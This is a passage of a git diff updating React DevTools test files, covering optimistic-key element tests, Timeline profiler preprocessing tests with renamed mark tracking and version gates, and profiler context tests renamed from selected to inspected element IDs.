+    function Component() {
+      return null;
+    }
+
+    await actAsync(() => {
+      render(<Component key={React.optimisticKey} />);
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+          <Component key="React.optimisticKey">
+    `);
+    expect(store.getElementAtIndex(0)).toEqual(
+      expect.objectContaining({key: 'React.optimisticKey'}),
+    );
+  });
+
+  // @reactVersion >= 19.3
+  it('is searchable', async () => {
+    if (React.optimisticKey === undefined) {
+      return;
+    }
+    await actAsync(() => {
+      render(<React.Fragment key={React.optimisticKey} />);
+    });
+    let renderer;
+    act(() => (renderer = TestRenderer.create(<Contexts />)));
+
+    expect(state).toMatchInlineSnapshot(`
+      [root]
+           <Fragment key="React.optimisticKey">
+    `);
+
+    act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'optimistic'}));
+    act(() => renderer.update(<Contexts />));
+
+    expect(state).toMatchInlineSnapshot(`
+      [root]
+           <Fragment key="React.optimisticKey">
+    `);
+
+    act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'react'}));
+    act(() => renderer.update(<Contexts />));
+
+    expect(state).toMatchInlineSnapshot(`
+      [root]
+      →    <Fragment key="React.optimisticKey">
+    `);
+  });
+});
diff --git a/packages/react-devtools-shared/src/__tests__/ownersListContext-test.js b/packages/react-devtools-shared/src/__tests__/ownersListContext-test.js
index 599492bed54a..2792541eace1 100644
--- a/packages/react-devtools-shared/src/__tests__/ownersListContext-test.js
+++ b/packages/react-devtools-shared/src/__tests__/ownersListContext-test.js
@@ -156,7 +156,6 @@ describe('OwnersListContext', () => {
     expect(await getOwnersListForOwner(firstChild)).toMatchInlineSnapshot(`
       [
         "Grandparent",
-        "Parent",
         "Child",
       ]
     `);
diff --git a/packages/react-devtools-shared/src/__tests__/preprocessData-test.js b/packages/react-devtools-shared/src/__tests__/preprocessData-test.js
index 6e2f2522ec8d..be2e0377d42b 100644
--- a/packages/react-devtools-shared/src/__tests__/preprocessData-test.js
+++ b/packages/react-devtools-shared/src/__tests__/preprocessData-test.js
@@ -16,26 +16,26 @@ import {ReactVersion} from '../../../../ReactVersions';
 
 const ReactVersionTestingAgainst = process.env.REACT_VERSION || ReactVersion;
 
-describe('Timeline profiler', () => {
-  let React;
-  let ReactDOM;
-  let ReactDOMClient;
-  let Scheduler;
-  let utils;
-  let assertLog;
-  let waitFor;
+let React = require('react');
+let ReactDOM;
+let ReactDOMClient;
+let Scheduler;
+let utils;
+let assertLog;
+let waitFor;
 
+describe('Timeline profiler', () => {
   describe('User Timing API', () => {
-    let clearedMarks;
+    let currentlyNotClearedMarks;
+    let registeredMarks;
     let featureDetectionMarkName = null;
-    let marks;
     let setPerformanceMock;
 
     function createUserTimingPolyfill() {
       featureDetectionMarkName = null;
 
-      clearedMarks = [];
-      marks = [];
+      currentlyNotClearedMarks = [];
+      registeredMarks = [];
 
       // Remove file-system specific bits or version-specific bits of information from the module range marks.
       function filterMarkData(markName) {
@@ -56,8 +56,9 @@ describe('Timeline profiler', () => {
         clearMarks(markName) {
           markName = filterMarkData(markName);
 
-          clearedMarks.push(markName);
-          marks = marks.filter(mark => mark !== markName);
+          currentlyNotClearedMarks = currentlyNotClearedMarks.filter(
+            mark => mark !== markName,
+          );
         },
         mark(markName, markOptions) {
           markName = filterMarkData(markName);
@@ -66,7 +67,8 @@ describe('Timeline profiler', () => {
             featureDetectionMarkName = markName;
           }
 
-          marks.push(markName);
+          registeredMarks.push(markName);
+          currentlyNotClearedMarks.push(markName);
 
           if (markOptions != null) {
             // This is triggers the feature detection.
@@ -76,8 +78,8 @@ describe('Timeline profiler', () => {
       };
     }
 
-    function clearPendingMarks() {
-      clearedMarks.splice(0);
+    function eraseRegisteredMarks() {
+      registeredMarks.splice(0);
     }
 
     beforeEach(() => {
@@ -96,9 +98,31 @@ describe('Timeline profiler', () => {
       ReactDOMClient = require('react-dom/client');
       Scheduler = require('scheduler');
 
-      const InternalTestUtils = require('internal-test-utils');
-      assertLog = InternalTestUtils.assertLog;
-      waitFor = InternalTestUtils.waitFor;
+      if (typeof Scheduler.log !== 'function') {
+        // backwards compat for older scheduler versions
+        Scheduler.log = Scheduler.unstable_yieldValue;
+        Scheduler.unstable_clearLog = Scheduler.unstable_clearYields;
+        const InternalTestUtils = require('internal-test-utils');
+        assertLog = InternalTestUtils.assertLog;
+
+        // polyfill waitFor as Scheduler.toFlushAndYieldThrough
+        waitFor = expectedYields => {
+          let actualYields = Scheduler.unstable_clearYields();
+          if (actualYields.length !== 0) {
+            throw new Error(
+              'Log of yielded values is not empty. ' +
+                'Call expect(Scheduler).toHaveYielded(...) first.',
+            );
+          }
+          Scheduler.unstable_flushNumberOfYields(expectedYields.length);
+          actualYields = Scheduler.unstable_clearYields();
+          expect(actualYields).toEqual(expectedYields);
+        };
+      } else {
+        const InternalTestUtils = require('internal-test-utils');
+        assertLog = InternalTestUtils.assertLog;
+        waitFor = InternalTestUtils.waitFor;
+      }
 
       setPerformanceMock =
         require('react-devtools-shared/src/backend/profilingHooks').setPerformanceMock_ONLY_FOR_TESTING;
@@ -114,8 +138,9 @@ describe('Timeline profiler', () => {
 
     afterEach(() => {
       // Verify all logged marks also get cleared.
-      expect(marks).toHaveLength(0);
+      expect(currentlyNotClearedMarks).toHaveLength(0);
 
+      eraseRegisteredMarks();
       setPerformanceMock(null);
     });
 
@@ -130,6 +155,7 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should return array of lane numbers from bitmask string', () => {
         expect(getLanesFromTransportDecimalBitmask('1')).toEqual([0]);
         expect(getLanesFromTransportDecimalBitmask('512')).toEqual([9]);
@@ -146,6 +172,7 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should return empty array if laneBitmaskString is not a bitmask', () => {
         expect(getLanesFromTransportDecimalBitmask('')).toEqual([]);
         expect(getLanesFromTransportDecimalBitmask('hello')).toEqual([]);
@@ -154,6 +181,7 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should ignore lanes outside REACT_TOTAL_NUM_LANES', () => {
         const REACT_TOTAL_NUM_LANES =
           require('react-devtools-timeline/src/constants').REACT_TOTAL_NUM_LANES;
@@ -279,11 +307,13 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should throw given an empty timeline', async () => {
         await expect(async () => preprocessData([])).rejects.toThrow();
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should throw given a timeline with no Profile event', async () => {
         const randomSample = createUserTimingEntry({
           dur: 100,
@@ -300,6 +330,7 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should throw given a timeline without an explicit profiler version mark nor any other React marks', async () => {
         const cpuProfilerSample = creactCpuProfilerSample();
 
@@ -311,6 +342,7 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should throw given a timeline with React scheduling marks, but without an explicit profiler version mark', async () => {
         const cpuProfilerSample = creactCpuProfilerSample();
         const scheduleRenderSample = createUserTimingEntry({
@@ -325,6 +357,7 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should return empty data given a timeline with no React scheduling profiling marks', async () => {
         const cpuProfilerSample = creactCpuProfilerSample();
         const randomSample = createUserTimingEntry({
@@ -429,6 +462,7 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should process legacy data format (before lane labels were added)', async () => {
         const cpuProfilerSample = creactCpuProfilerSample();
 
@@ -635,7 +669,7 @@ describe('Timeline profiler', () => {
 
         const data = await preprocessData([
           ...createBoilerplateEntries(),
-          ...createUserTimingData(clearedMarks),
+          ...createUserTimingData(registeredMarks),
         ]);
         expect(data).toMatchInlineSnapshot(`
           {
@@ -816,6 +850,8 @@ describe('Timeline profiler', () => {
         `);
       });
 
+      // @reactVersion >= 19.1
+      // @reactVersion < 19.2
       it('should process a sample createRoot render sequence', async () => {
         function App() {
           const [didMount, setDidMount] = React.useState(false);
@@ -832,7 +868,7 @@ describe('Timeline profiler', () => {
 
         const data = await preprocessData([
           ...createBoilerplateEntries(),
-          ...createUserTimingData(clearedMarks),
+          ...createUserTimingData(registeredMarks),
         ]);
         expect(data).toMatchInlineSnapshot(`
           {
@@ -841,7 +877,7 @@ describe('Timeline profiler', () => {
                 {
                   "batchUID": 0,
                   "depth": 0,
-                  "duration": 0.014,
+                  "duration": 0.012,
                   "lanes": "0b0000000000000000000000000000101",
                   "timestamp": 0.008,
                   "type": "render-idle",
@@ -857,25 +893,17 @@ describe('Timeline profiler', () => {
                 {
                   "batchUID": 0,
                   "depth": 0,
-                  "duration": 0.010,
+                  "duration": 0.008,
                   "lanes": "0b0000000000000000000000000000101",
                   "timestamp": 0.012,
                   "type": "commit",
                 },
-                {
-                  "batchUID": 0,
-                  "depth": 1,
-                  "duration": 0.001,
-                  "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.02,
-                  "type": "layout-effects",
-                },
                 {
                   "batchUID": 0,
                   "depth": 0,
                   "duration": 0.004,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.023,
+                  "timestamp": 0.021,
                   "type": "passive-effects",
                 },
               ],
@@ -883,9 +911,9 @@ describe('Timeline profiler', () => {
                 {
                   "batchUID": 1,
                   "depth": 0,
-                  "duration": 0.014,
+                  "duration": 0.012,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.028,
+                  "timestamp": 0.026,
                   "type": "render-idle",
                 },
                 {
@@ -893,31 +921,23 @@ describe('Timeline profiler', () => {
                   "depth": 0,
                   "duration": 0.003,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.028,
+                  "timestamp": 0.026,
                   "type": "render",
                 },
                 {
                   "batchUID": 1,
                   "depth": 0,
-                  "duration": 0.010,
+                  "duration": 0.008,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.032,
+                  "timestamp": 0.03,
                   "type": "commit",
                 },
-                {
-                  "batchUID": 1,
-                  "depth": 1,
-                  "duration": 0.001,
-                  "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.04,
-                  "type": "layout-effects",
-                },
                 {
                   "batchUID": 1,
                   "depth": 0,
                   "duration": 0.003,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.043,
+                  "timestamp": 0.039,
                   "type": "passive-effects",
                 },
               ],
@@ -933,26 +953,26 @@ describe('Timeline profiler', () => {
               {
                 "componentName": "App",
                 "duration": 0.002,
-                "timestamp": 0.024,
+                "timestamp": 0.022,
                 "type": "passive-effect-mount",
                 "warning": null,
               },
               {
                 "componentName": "App",
                 "duration": 0.001,
-                "timestamp": 0.029,
+                "timestamp": 0.027,
                 "type": "render",
                 "warning": null,
               },
               {
                 "componentName": "App",
                 "duration": 0.001,
-                "timestamp": 0.044,
+                "timestamp": 0.04,
                 "type": "passive-effect-mount",
                 "warning": null,
               },
             ],
-            "duration": 0.046,
+            "duration": 0.042,
             "flamechart": [],
             "internalModuleSourceToRanges": Map {
               undefined => [
@@ -1015,7 +1035,7 @@ describe('Timeline profiler', () => {
                 {
                   "batchUID": 0,
                   "depth": 0,
-                  "duration": 0.014,
+                  "duration": 0.012,
                   "lanes": "0b0000000000000000000000000000101",
                   "timestamp": 0.008,
                   "type": "render-idle",
@@ -1031,33 +1051,25 @@ describe('Timeline profiler', () => {
                 {
                   "batchUID": 0,
                   "depth": 0,
-                  "duration": 0.010,
+                  "duration": 0.008,
                   "lanes": "0b0000000000000000000000000000101",
                   "timestamp": 0.012,
                   "type": "commit",
                 },
-                {
-                  "batchUID": 0,
-                  "depth": 1,
-                  "duration": 0.001,
-                  "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.02,
-                  "type": "layout-effects",
-                },
                 {
                   "batchUID": 0,
                   "depth": 0,
                   "duration": 0.004,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.023,
+                  "timestamp": 0.021,
                   "type": "passive-effects",
                 },
                 {
                   "batchUID": 1,
                   "depth": 0,
-                  "duration": 0.014,
+                  "duration": 0.012,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.028,
+                  "timestamp": 0.026,
                   "type": "render-idle",
                 },
                 {
@@ -1065,31 +1077,23 @@ describe('Timeline profiler', () => {
                   "depth": 0,
                   "duration": 0.003,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.028,
+                  "timestamp": 0.026,
                   "type": "render",
                 },
                 {
                   "batchUID": 1,
                   "depth": 0,
-                  "duration": 0.010,
+                  "duration": 0.008,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.032,
+                  "timestamp": 0.03,
                   "type": "commit",
                 },
-                {
-                  "batchUID": 1,
-                  "depth": 1,
-                  "duration": 0.001,
-                  "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.04,
-                  "type": "layout-effects",
-                },
                 {
                   "batchUID": 1,
                   "depth": 0,
                   "duration": 0.003,
                   "lanes": "0b0000000000000000000000000000101",
-                  "timestamp": 0.043,
+                  "timestamp": 0.039,
                   "type": "passive-effects",
                 },
               ],
@@ -1133,7 +1137,7 @@ describe('Timeline profiler', () => {
               {
                 "componentName": "App",
                 "lanes": "0b0000000000000000000000000000101",
-                "timestamp": 0.025,
+                "timestamp": 0.023,
                 "type": "schedule-state-update",
                 "warning": null,
               },
@@ -1152,7 +1156,7 @@ describe('Timeline profiler', () => {
       it('should error if events and measures are incomplete', async () => {
         legacyRender(<div />);
 
-        const invalidMarks = clearedMarks.filter(
+        const invalidMarks = registeredMarks.filter(
           mark => !mark.includes('render-stop'),
         );
         const invalidUserTimingData = createUserTimingData(invalidMarks);
@@ -1170,7 +1174,7 @@ describe('Timeline profiler', () => {
       it('should error if work is completed without being started', async () => {
         legacyRender(<div />);
 
-        const invalidMarks = clearedMarks.filter(
+        const invalidMarks = registeredMarks.filter(
           mark => !mark.includes('render-start'),
         );
         const invalidUserTimingData = createUserTimingData(invalidMarks);
@@ -1184,6 +1188,7 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should populate other user timing marks', async () => {
         const userTimingData = createUserTimingData([]);
         userTimingData.push(
@@ -1234,10 +1239,20 @@ describe('Timeline profiler', () => {
       });
 
       // @reactVersion >= 18.0
+      // @reactVersion < 19.2
       it('should include a suspended resource "displayName" if one is set', async () => {
         let promise = null;
         let resolvedValue = null;
         function readValue(value) {
+          if (React.use) {
+            if (promise === null) {
+              promise = Promise.resolve(true).then(() => {
+                return value;
+              });
+              promise.displayName = 'Testing displayName';
+            }
+            return React.use(promise);
+          }
           if (resolvedValue !== null) {
             return resolvedValue;
           } else if (promise === null) {
@@ -1257,7 +1272,7 @@ describe('Timeline profiler', () => {
         const testMarks = [creactCpuProfilerSample()];
 
         const root = ReactDOMClient.createRoot(document.createElement('div'));
-        utils.act(() =>
+        await utils.actAsync(() =>
           root.render(
             <React.Suspense fallback="Loading...">
               <Component />
@@ -1265,7 +1280,7 @@ describe('Timeline profiler', () => {
           ),
         );
 
-        testMarks.push(...createUserTimingData(clearedMarks));
+        testMarks.push(...createUserTimingData(registeredMarks));
 
         let data;
         await utils.actAsync(async () => {
@@ -1290,11 +1305,10 @@ describe('Timeline profiler', () => {
               createNativeEventEntry('click', 5),
             ];
 
-            clearPendingMarks();
-
+            eraseRegisteredMarks();
             legacyRender(<App />);
 
-            testMarks.push(...createUserTimingData(clearedMarks));
+            testMarks.push(...createUserTimingData(registeredMarks));
 
             const data = await preprocessData(testMarks);
             const event = data.nativeEvents.find(({type}) => type === 'click');
@@ -1316,11 +1330,10 @@ describe('Timeline profiler', () => {
 
             startTime += 2000;
 
-            clearPendingMarks();
-
+            eraseRegisteredMarks();
             legacyRender(<App />);
 
-            testMarks.push(...createUserTimingData(clearedMarks));
+            testMarks.push(...createUserTimingData(registeredMarks));
 
             const data = await preprocessData(testMarks);
             const event = data.nativeEvents.find(({type}) => type === 'click');
@@ -1340,11 +1353,10 @@ describe('Timeline profiler', () => {
               createNativeEventEntry('click', 25000),
             ];
 
-            clearPendingMarks();
-
+            eraseRegisteredMarks();
             legacyRender(<App />);
 
-            clearedMarks.forEach(markName => {
+            registeredMarks.forEach(markName => {
               if (markName === '--render-stop') {
                 // Fake a long running render
                 startTime += 20000;
@@ -1369,6 +1381,7 @@ describe('Timeline profiler', () => {
           });
 
           // @reactVersion >= 18.2
+          // @reactVersion < 19.2
           it('should not warn when React finishes a previously long (async) update with a short (sync) update inside of an event', async () => {
             function Yield({id, value}) {
               Scheduler.log(`${id}:${value}`);
@@ -1401,8 +1414,8 @@ describe('Timeline profiler', () => {
 
             await waitFor(['A:1']);
 
-            testMarks.push(...createUserTimingData(clearedMarks));
-            clearPendingMarks();
+            testMarks.push(...createUserTimingData(registeredMarks));
+            eraseRegisteredMarks();
 
             // Advance the clock some more to make the pending React update seem long.
             startTime += 20000;
@@ -1421,7 +1434,7 @@ describe('Timeline profiler', () => {
 
             assertLog(['A:2', 'B:2']);
 
-            testMarks.push(...createUserTimingData(clearedMarks));
+            testMarks.push(...createUserTimingData(registeredMarks));
 
             const data = await preprocessData(testMarks);
             const event = data.nativeEvents.find(({type}) => type === 'click');
@@ -1431,6 +1444,7 @@ describe('Timeline profiler', () => {
 
         describe('nested updates', () => {
           // @reactVersion >= 18.2
+          // @reactVersion < 19.2
           it('should not warn about short nested (state) updates during layout effects', async () => {
             function Component() {
               const [didMount, setDidMount] = React.useState(false);
@@ -1452,7 +1466,7 @@ describe('Timeline profiler', () => {
 
             const data = await preprocessData([
               ...createBoilerplateEntries(),
-              ...createUserTimingData(clearedMarks),
+              ...createUserTimingData(registeredMarks),
             ]);
 
             const event = data.schedulingEvents.find(
@@ -1462,6 +1476,7 @@ describe('Timeline profiler', () => {
           });
 
           // @reactVersion >= 18.2
+          // @reactVersion < 19.2
           it('should not warn about short (forced) updates during layout effects', async () => {
             class Component extends React.Component {
               _didMount: boolean = false;
@@ -1488,7 +1503,7 @@ describe('Timeline profiler', () => {
 
             const data = await preprocessData([
               ...createBoilerplateEntries(),
-              ...createUserTimingData(clearedMarks),
+              ...createUserTimingData(registeredMarks),
             ]);
 
             const event = data.schedulingEvents.find(
@@ -1524,7 +1539,7 @@ describe('Timeline profiler', () => {
             assertLog(['Component mount', 'Component update']);
 
             const testMarks = [];
-            clearedMarks.forEach(markName => {
+            registeredMarks.forEach(markName => {
               if (markName === '--component-render-start-Component') {
                 // Fake a long running render
                 startTime += 20000;
@@ -1585,7 +1600,7 @@ describe('Timeline profiler', () => {
             assertLog(['Component mount', 'Component update']);
 
             const testMarks = [];
-            clearedMarks.forEach(markName => {
+            registeredMarks.forEach(markName => {
               if (markName === '--component-render-start-Component') {
                 // Fake a long running render
                 startTime += 20000;
@@ -1617,6 +1632,7 @@ describe('Timeline profiler', () => {
           });
 
           // @reactVersion >= 18.2
+          // @reactVersion < 19.2
           it('should not warn about transition updates scheduled during commit phase', async () => {
             function Component() {
               const [value, setValue] = React.useState(0);
@@ -1657,7 +1673,7 @@ describe('Timeline profiler', () => {
             ]);
 
             const testMarks = [];
-            clearedMarks.forEach(markName => {
+            registeredMarks.forEach(markName => {
               if (markName === '--component-render-start-Component') {
                 // Fake a long running render
                 startTime += 20000;
@@ -1727,7 +1743,7 @@ describe('Timeline profiler', () => {
             ]);
 
             const testMarks = [];
-            clearedMarks.forEach(markName => {
+            registeredMarks.forEach(markName => {
               if (markName === '--component-render-start-Component') {
                 // Fake a long running render
                 startTime += 20000;
@@ -1758,6 +1774,7 @@ describe('Timeline profiler', () => {
 
         describe('errors thrown while rendering', () => {
           // @reactVersion >= 18.0
+          // @reactVersion < 19.2
           it('shoult parse Errors thrown during render', async () => {
             jest.spyOn(console, 'error');
 
@@ -1792,7 +1809,7 @@ describe('Timeline profiler', () => {
               ),
             );
 
-            testMarks.push(...createUserTimingData(clearedMarks));
+            testMarks.push(...createUserTimingData(registeredMarks));
 
             const data = await preprocessData(testMarks);
             expect(data.thrownErrors).toHaveLength(2);
@@ -1806,10 +1823,19 @@ describe('Timeline profiler', () => {
           // This also tests an edge case where a component suspends while profiling
           // before the first commit is logged (so the lane-to-labels map will not yet exist).
           // @reactVersion >= 18.2
+          // @reactVersion < 19.2
           it('should warn about suspending during an update', async () => {
             let promise = null;
             let resolvedValue = null;
             function readValue(value) {
+              if (React.use) {
+                if (promise === null) {
+                  promise = Promise.resolve(true).then(() => {
+                    return value;
+                  });
+                }
+                return React.use(promise);
+              }
               if (resolvedValue !== null) {
                 return resolvedValue;
               } else if (promise === null) {
@@ -1851,7 +1877,7 @@ describe('Timeline profiler', () => {
               ),
             );
 
-            testMarks.push(...createUserTimingData(clearedMarks));
+            testMarks.push(...createUserTimingData(registeredMarks));
 
             let data;
             await utils.actAsync(async () => {
@@ -1864,10 +1890,19 @@ describe('Timeline profiler', () => {
           });
 
           // @reactVersion >= 18.2
+          // @reactVersion < 19.2
           it('should not warn about suspending during an transition', async () => {
             let promise = null;
             let resolvedValue = null;
             function readValue(value) {
+              if (React.use) {
+                if (promise === null) {
+                  promise = Promise.resolve(true).then(() => {
+                    return value;
+                  });
+                }
+                return React.use(promise);
+              }
               if (resolvedValue !== null) {
                 return resolvedValue;
               } else if (promise === null) {
@@ -1911,7 +1946,7 @@ describe('Timeline profiler', () => {
               ),
             );
 
-            testMarks.push(...createUserTimingData(clearedMarks));
+            testMarks.push(...createUserTimingData(registeredMarks));
 
             let data;
             await utils.actAsync(async () => {
@@ -2124,6 +2159,8 @@ describe('Timeline profiler', () => {
       `);
     });
 
+    // @reactVersion >= 19.1
+    // @reactVersion < 19.2
     it('should process a sample createRoot render sequence', async () => {
       function App() {
         const [didMount, setDidMount] = React.useState(false);
@@ -2179,14 +2216,6 @@ describe('Timeline profiler', () => {
                 "timestamp": 10,
                 "type": "commit",
               },
-              {
-                "batchUID": 1,
-                "depth": 1,
-                "duration": 0,
-                "lanes": "0b0000000000000000000000000100000",
-                "timestamp": 10,
-                "type": "layout-effects",
-              },
               {
                 "batchUID": 1,
                 "depth": 0,
@@ -2221,14 +2250,6 @@ describe('Timeline profiler', () => {
                 "timestamp": 10,
                 "type": "commit",
               },
-              {
-                "batchUID": 2,
-                "depth": 1,
-                "duration": 0,
-                "lanes": "0b0000000000000000000000000100000",
-                "timestamp": 10,
-                "type": "layout-effects",
-              },
               {
                 "batchUID": 2,
                 "depth": 0,
@@ -2279,8 +2300,8 @@ describe('Timeline profiler', () => {
             8 => "InputContinuous",
             16 => "DefaultHydration",
             32 => "Default",
-            64 => "TransitionHydration",
-            128 => "Transition",
+            64 => undefined,
+            128 => "TransitionHydration",
             256 => "Transition",
             512 => "Transition",
             1024 => "Transition",
@@ -2336,14 +2357,6 @@ describe('Timeline profiler', () => {
                 "timestamp": 10,
                 "type": "commit",
               },
-              {
-                "batchUID": 1,
-                "depth": 1,
-                "duration": 0,
-                "lanes": "0b0000000000000000000000000100000",
-                "timestamp": 10,
-                "type": "layout-effects",
-              },
               {
                 "batchUID": 1,
                 "depth": 0,
@@ -2376,14 +2389,6 @@ describe('Timeline profiler', () => {
                 "timestamp": 10,
                 "type": "commit",
               },
-              {
-                "batchUID": 2,
-                "depth": 1,
-                "duration": 0,
-                "lanes": "0b0000000000000000000000000100000",
-                "timestamp": 10,
-                "type": "layout-effects",
-              },
               {
                 "batchUID": 2,
                 "depth": 0,
diff --git a/packages/react-devtools-shared/src/__tests__/profilerChangeDescriptions-test.js b/packages/react-devtools-shared/src/__tests__/profilerChangeDescriptions-test.js
index cf5304664b81..4710f5cd1b27 100644
--- a/packages/react-devtools-shared/src/__tests__/profilerChangeDescriptions-test.js
+++ b/packages/react-devtools-shared/src/__tests__/profilerChangeDescriptions-test.js
@@ -90,7 +90,7 @@ describe('Profiler change descriptions', () => {
       {
         "context": true,
         "didHooksChange": false,
-        "hooks": null,
+        "hooks": [],
         "isFirstMount": false,
         "props": [],
         "state": null,
@@ -110,7 +110,7 @@ describe('Profiler change descriptions', () => {
       {
         "context": true,
         "didHooksChange": false,
-        "hooks": null,
+        "hooks": [],
         "isFirstMount": false,
         "props": [],
         "state": null,
@@ -123,9 +123,9 @@ describe('Profiler change descriptions', () => {
     expect(commitData.changeDescriptions.get(element.id))
       .toMatchInlineSnapshot(`
       {
-        "context": null,
+        "context": false,
         "didHooksChange": false,
-        "hooks": null,
+        "hooks": [],
         "isFirstMount": false,
         "props": [],
         "state": null,
@@ -140,7 +140,7 @@ describe('Profiler change descriptions', () => {
       {
         "context": true,
         "didHooksChange": false,
-        "hooks": null,
+        "hooks": [],
         "isFirstMount": false,
         "props": [],
         "state": null,
diff --git a/packages/react-devtools-shared/src/__tests__/profilerContext-test.js b/packages/react-devtools-shared/src/__tests__/profilerContext-test.js
index 17f758b61221..9688adebf8be 100644
--- a/packages/react-devtools-shared/src/__tests__/profilerContext-test.js
+++ b/packages/react-devtools-shared/src/__tests__/profilerContext-test.js
@@ -69,14 +69,14 @@ describe('ProfilerContext', () => {
 
   const Contexts = ({
     children = null,
-    defaultSelectedElementID = null,
-    defaultSelectedElementIndex = null,
+    defaultInspectedElementID = null,
+    defaultInspectedElementIndex = null,
   }: any) => (
     <BridgeContext.Provider value={bridge}>
       <StoreContext.Provider value={store}>
         <TreeContextController
-          defaultSelectedElementID={defaultSelectedElementID}
-          defaultSelectedElementIndex={defaultSelectedElementIndex}>
+          defaultInspectedElementID={defaultInspectedElementID}
+          defaultInspectedElementIndex={defaultInspectedElementIndex}>
           <ProfilerContextController>{children}</ProfilerContextController>
         </TreeContextController>
       </StoreContext.Provider>
@@ -225,8 +225,8 @@ describe('ProfilerContext', () => {
     await utils.actAsync(() =>
       TestRenderer.create(
         <Contexts
-          defaultSelectedElementID={store.getElementIDAtIndex(3)}
-          defaultSelectedElementIndex={3}>
+          defaultInspectedElementID={store.getElementIDAtIndex(3)}
+          defaultInspectedElementIndex={3}>
           <ContextReader />
         </Contexts>,
       ),
@@ -276,8 +276,8 @@ describe('ProfilerContext', () => {
     await utils.actAsync(() =>
       TestRenderer.create(
         <Contexts
-          defaultSelectedElementID={store.getElementIDAtIndex(3)}
-          defaultSelectedElementIndex={3}>
+          defaultInspectedElementID={store.getElementIDAtIndex(3)}
+          defaultInspectedElementIndex={3}>
           <ContextReader />
         </Contexts>,
       ),
@@ -323,8 +323,8 @@ describe('ProfilerContext', () => {
     await utils.actAsync(() =>
       TestRenderer.create(
         <Contexts
-          defaultSelectedElementID={store.getElementIDAtIndex(3)}
-          defaultSelectedElementIndex={3}>
+          defaultInspectedElementID={store.getElementIDAtIndex(3)}
+          defaultInspectedElementIndex={3}>
           <ContextReader />
         </Contexts>,
       ),
@@ -374,8 +374,8 @@ describe('ProfilerContext', () => {
     await utils.actAsync(() =>
       TestRenderer.create(
         <Contexts
-          defaultSelectedElementID={store.getElementIDAtIndex(3)}
-          defaultSelectedElementIndex={3}>
+          defaultInspectedElementID={store.getElementIDAtIndex(3)}
+          defaultInspectedElementIndex={3}>
           <ContextReader />
         </Contexts>,
       ),
@@ -415,11 +415,12 @@ describe('ProfilerContext', () => {
 
     let context: Context = ((null: any): Context);
     let dispatch: DispatcherContext = ((null: any): DispatcherContext);
-    let selectedElementID = null;
+    let inspectedElementID = null;
     function ContextReader() {
       context = React.useContext(ProfilerContext);
       dispatch = React.useContext(TreeDispatcherContext);
-      selectedElementID = React.useContext(TreeStateContext).selectedElementID;
+      inspectedElementID =
+        React.useContext(TreeStateContext).inspectedElementID;
       return null;
     }
 
@@ -428,13 +429,15 @@ describe('ProfilerContext', () => {
     // Select an element within the second root.
     await utils.actAsync(() =>
       TestRenderer.create(
-        <Contexts defaultSelectedElementID={id} defaultSelectedElementIndex={3}>
+        <Contexts
+          defaultInspectedElementID={id}
+          defaultInspectedElementIndex={3}>
           <ContextReader />
         </Contexts>,
       ),
     );
 
-    expect(selectedElementID).toBe(id);
+    expect(inspectedElementID).toBe(id);
 
     // Profile and record more updates to both roots
     await utils.actAsync(() => store.profilerStore.startProfiling());
@@ -448,7 +451,7 @@ describe('ProfilerContext', () => {
     utils.act(() => dispatch({type: 'SELECT_ELEMENT_AT_INDEX', payload: 0}));
 
     // Verify that the initial Profiler root selection is maintained.
-    expect(selectedElementID).toBe(otherID);
+    expect(inspectedElementID).toBe(otherID);
     expect(context).not.toBeNull();
     expect(context.rootID).toBe(store.getRootIDForElement(id));
   });
@@ -484,11 +487,12 @@ describe('ProfilerContext', () => {
 
     let context: Context = ((null: any): Context);
     let dispatch: DispatcherContext = ((null: any): DispatcherContext);
-    let selectedElementID = null;
+    let inspectedElementID = null;
     function ContextReader() {
       context = React.useContext(ProfilerContext);
       dispatch = React.useContext(TreeDispatcherContext);
-      selectedElementID = React.useContext(TreeStateContext).selectedElementID;
+      inspectedElementID =
+        React.useContext(TreeStateContext).inspectedElementID;
       return null;
     }
 
@@ -497,13 +501,15 @@ describe('ProfilerContext', () => {
     // Select an element within the second root.
     await utils.actAsync(() =>
       TestRenderer.create(
-        <Contexts defaultSelectedElementID={id} defaultSelectedElementIndex={3}>
+        <Contexts
+          defaultInspectedElementID={id}
+          defaultInspectedElementIndex={3}>
           <ContextReader />
         </Contexts>,
       ),
     );
 
-    expect(selectedElementID).toBe(id);
+    expect(inspectedElementID).toBe(id);
 
     // Profile and record more updates to both roots
     await utils.actAsync(() => store.profilerStore.startProfiling());
@@ -517,7 +523,7 @@ describe('ProfilerContext', () => {
